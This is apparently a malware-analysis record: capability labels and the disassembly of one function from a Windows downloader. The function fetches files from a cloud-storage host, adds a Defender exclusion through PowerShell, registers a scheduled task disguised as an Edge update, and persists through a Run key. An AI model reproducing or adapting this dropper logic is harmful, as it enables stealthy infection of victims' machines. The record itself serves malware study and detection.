Function at 0x402790
Capabilities:
Create process on windows
Create process suspended
Delete file
Hide graphical window
Initialize winhttp library
Persist via run registry key
Prepare http request
Receive http response
Schedule task via schtasks
Set registry value
Write and execute a file
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
mov eax, 0x12d8
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
call fcn.00402670
mov esi, 0x3e8
sub esp, eax
call fcn.00401f80
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [ebp - 0x1288]
mov ebx, dword [sym.imp.KERNEL32.dll_GetSystemTime]
sub esp, 8
mov dword [esp], eax
call ebx
sub esp, 4
mov dword [esp], 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x1278]
sub esp, 4
mov dword [esp], eax
call ebx
movzx ecx, word [ebp - 0x126a]
xor ebx, ebx
movzx eax, word [ebp - 0x126c]
sub esp, 4
add ecx, 0xffffec78
adc ebx, 0xffffffff
mul esi
add ecx, eax
movzx eax, word [ebp - 0x127a]
adc ebx, edx
xor edx, edx
sub ecx, eax
movzx eax, word [ebp - 0x127c]
sbb ebx, edx
mul esi
sub ecx, eax
sbb ebx, edx
cmp ebx, 0
ja 0x402849
cmp ecx, 0x1f4
jbe 0x40285a
mov eax, 1
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], str.A_WinHTTP_Example_Program_1.0
mov dword [ebp - 0x12a8], 0
call sub.WINHTTP.dll_WinHttpOpen
sub esp, 0x14
test eax, eax
mov esi, eax
je 0x402b5c
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x50
mov dword [esp + 4], str.zffsg.oss_ap_northeast_2.aliyuncs.com
mov dword [esp], eax
call sub.WINHTTP.dll_WinHttpConnect
sub esp, 0x10
test eax, eax
mov edi, eax
je 0x402b3a
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str._154.log
mov dword [esp + 4], 0x40409a
mov dword [esp], eax
call sub.WINHTTP.dll_WinHttpOpenRequest
sub esp, 0x1c
test eax, eax
je 0x402b7e
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], eax
mov dword [ebp - 0x12ac], eax
call sub.WINHTTP.dll_WinHttpSendRequest
mov edx, dword [ebp - 0x12ac]
sub esp, 0x1c
test eax, eax
jne 0x402ba0
lea eax, [ebp - 0x1268]
mov dword [ebp - 0x12ac], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ebx, [ebp - 0x1018]
mov dword [ebp - 0x12b0], eax
mov dword [esp], edx
call sub.WINHTTP.dll_WinHttpCloseHandle
push eax
mov dword [esp], edi
call sub.WINHTTP.dll_WinHttpCloseHandle
push edi
mov dword [esp], esi
call sub.WINHTTP.dll_WinHttpCloseHandle
push esi
mov edi, dword [ebp - 0x12ac]
xor eax, eax
mov ecx, 0x11
lea edx, [ebp - 0x1298]
mov esi, str.powershell.exe__NoProfile__Command__Add_MpPreference__ExclusionPath_C:UsersPublic___xmlContent__Get_Content__Path_C:UsersPublicjh.xml__Raw__Register_ScheduledTask__Xml__xmlContent__TaskName_MicrosoftEdgeUpdateTaskUserS_1_5_21_4220318521_1419758426_78524122_1000Core680DECD5_5011_4D3F_949A_4D7BAA279AC3_
rep stosd dword es:[edi], eax
mov edi, edx
mov dword [ebp - 0x1268], 0x44
mov cl, 4
rep stosd dword es:[edi], eax
mov edi, ebx
mov cl, 0x4f
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, dword [ebp - 0x12ac]
mov dword [esp + 0x24], edx
mov dword [esp + 4], ebx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], edi
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [ebp - 0x1298]
mov edi, dword [ebp - 0x12b0]
sub esp, 0x28
mov dword [esp], eax
call edi
push eax
mov eax, dword [ebp - 0x1294]
mov dword [esp], eax
call edi
push edx
mov dword [esp + 4], 0x404259
mov dword [esp], str.C:UsersPublic_
call sub.msvcrt.dll_fopen
mov ebx, dword [sym.imp.SHELL32.DLL_ShellExecuteA]
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.C:UsersPublic_
mov dword [esp + 4], str.open
mov dword [esp], 0
call ebx
sub esp, 0x18
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x404279
mov dword [esp + 8], str.C:UsersPublicdllhost.exe
mov dword [esp + 4], 0
mov dword [esp], 0
call ebx
lea eax, [ebp - 0x129c]
sub esp, 0x18
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov eax, dword [ebp - 0x129c]
sub esp, 0x14
mov dword [esp + 0x14], 0x1c
mov dword [esp + 0x10], str.C:UsersPublicdllhost.exe
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.MyProgram
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x129c]
sub esp, 0x18
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
push ecx
jmp 0x40284e
lea eax, [ebp - 0x1268]
mov dword [ebp - 0x12ac], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ebx, [ebp - 0x1018]
mov dword [ebp - 0x12b0], eax
jmp 0x40298b
lea eax, [ebp - 0x1268]
mov dword [ebp - 0x12ac], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ebx, [ebp - 0x1018]
mov dword [ebp - 0x12b0], eax
jmp 0x402994
lea eax, [ebp - 0x1268]
mov dword [ebp - 0x12ac], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ebx, [ebp - 0x1018]
mov dword [ebp - 0x12b0], eax
jmp 0x402982
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [ebp - 0x12ac], edx
call sub.WINHTTP.dll_WinHttpReceiveResponse
test eax, eax
push edx
push edx
mov edx, dword [ebp - 0x12ac]
je 0x40295c
lea eax, [ebp - 0x1220]
mov dword [esp + 8], 0x4040a4
mov dword [esp + 4], 0x104
mov dword [esp], eax
mov dword [ebp - 0x12ac], edx
call sub.msvcrt.dll_wcscpy_s
lea eax, [ebp - 0x1220]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x82
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
mov dword [ebp - 0x12bc], eax
call eax
mov edx, dword [ebp - 0x12ac]
sub esp, 0x1c
mov dword [ebp - 0x12b4], eax
add eax, 1
je 0x402f3e
lea eax, [ebp - 0x1268]
mov dword [ebp - 0x12b0], esi
lea ebx, [ebp - 0x1018]
mov esi, edx
mov dword [ebp - 0x12b8], edi
mov edi, eax
mov dword [ebp - 0x1268], 0
mov dword [ebp - 0x12ac], eax
jmp 0x402cc6
mov eax, dword [ebp - 0x1268]
test eax, eax
je 0x402ce5
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x12b4]
lea edx, [ebp - 0x12a8]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edx
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x14
test eax, eax
je 0x402efa
mov eax, dword [ebp - 0x1268]
cmp dword [ebp - 0x12a8], eax
jne 0x402efa
mov dword [esp + 0xc], edi
mov dword [esp + 8], 0x1000
mov dword [esp + 4], ebx
mov dword [esp], esi
call sub.WINHTTP.dll_WinHttpReadData
sub esp, 0x10
test eax, eax
jne 0x402c76
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, esi
mov edi, dword [ebp - 0x12b8]
mov esi, dword [ebp - 0x12b0]
mov dword [ebp - 0x12b0], eax
mov eax, dword [ebp - 0x12b4]
mov dword [ebp - 0x12b8], edx
mov dword [esp], eax
call dword [ebp - 0x12b0]
mov edx, dword [ebp - 0x12b8]
push eax
mov dword [esp], edx
call sub.WINHTTP.dll_WinHttpCloseHandle
push eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.jh.xml
mov dword [esp + 4], 0x40409a
mov dword [esp], edi
call sub.WINHTTP.dll_WinHttpOpenRequest
sub esp, 0x1c
test eax, eax
je 0x402982
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], eax
mov dword [ebp - 0x12b4], eax
call sub.WINHTTP.dll_WinHttpSendRequest
mov edx, dword [ebp - 0x12b4]
sub esp, 0x1c
test eax, eax
je 0x402979
mov dword [esp], edx
mov dword [esp + 4], 0
call sub.WINHTTP.dll_WinHttpReceiveResponse
mov edx, dword [ebp - 0x12b4]
push ecx
test eax, eax
push ecx
je 0x402979
lea eax, [ebp - 0x1220]
mov dword [esp + 8], str.C:UsersPublicjh.xml
mov dword [esp + 4], 0x104
mov dword [esp], eax
call sub.msvcrt.dll_wcscpy_s
lea eax, [ebp - 0x1220]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x82
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
mov dword [esp], eax
call dword [ebp - 0x12bc]
mov edx, dword [ebp - 0x12b4]
sub esp, 0x1c
cmp eax, 0xffffffff
mov dword [ebp - 0x12bc], eax
je 0x402979
mov dword [ebp - 0x12b4], esi
mov esi, edx
mov dword [ebp - 0x12b8], edi
mov edi, eax
jmp 0x402ea6
mov eax, dword [ebp - 0x1268]
test eax, eax
je 0x402ecb
lea edx, [ebp - 0x12a8]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x14
test eax, eax
je 0x402f63
mov eax, dword [ebp - 0x1268]
cmp dword [ebp - 0x12a8], eax
jne 0x402f63
mov eax, dword [ebp - 0x12ac]
mov dword [esp + 8], 0x1000
mov dword [esp + 4], ebx
mov dword [esp], esi
mov dword [esp + 0xc], eax
call sub.WINHTTP.dll_WinHttpReadData
sub esp, 0x10
test eax, eax
jne 0x402e5c
mov edx, esi
mov edi, dword [ebp - 0x12b8]
mov esi, dword [ebp - 0x12b4]
mov eax, dword [ebp - 0x12bc]
mov dword [ebp - 0x12b4], edx
mov dword [esp], eax
call dword [ebp - 0x12b0]
mov edx, dword [ebp - 0x12b4]
push eax
jmp 0x402979
mov eax, dword [ebp - 0x12b4]
mov edi, dword [ebp - 0x12b8]
mov dword [ebp - 0x12b8], esi
mov esi, dword [ebp - 0x12b0]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x12b0], eax
call eax
push eax
lea eax, [ebp - 0x1220]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0x12b8]
push eax
jmp 0x402cfe
mov dword [esp], edx
call sub.WINHTTP.dll_WinHttpCloseHandle
push eax
mov dword [esp], edi
call sub.WINHTTP.dll_WinHttpCloseHandle
push eax
mov dword [esp], esi
call sub.WINHTTP.dll_WinHttpCloseHandle
push eax
mov eax, 1
jmp 0x40284e
mov eax, dword [ebp - 0x12bc]
mov edi, dword [ebp - 0x12b8]
mov dword [ebp - 0x12b8], esi
mov esi, dword [ebp - 0x12b4]
mov dword [esp], eax
call dword [ebp - 0x12b0]
push eax
lea eax, [ebp - 0x1220]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push edx
mov edx, dword [ebp - 0x12b8]
jmp 0x402ed9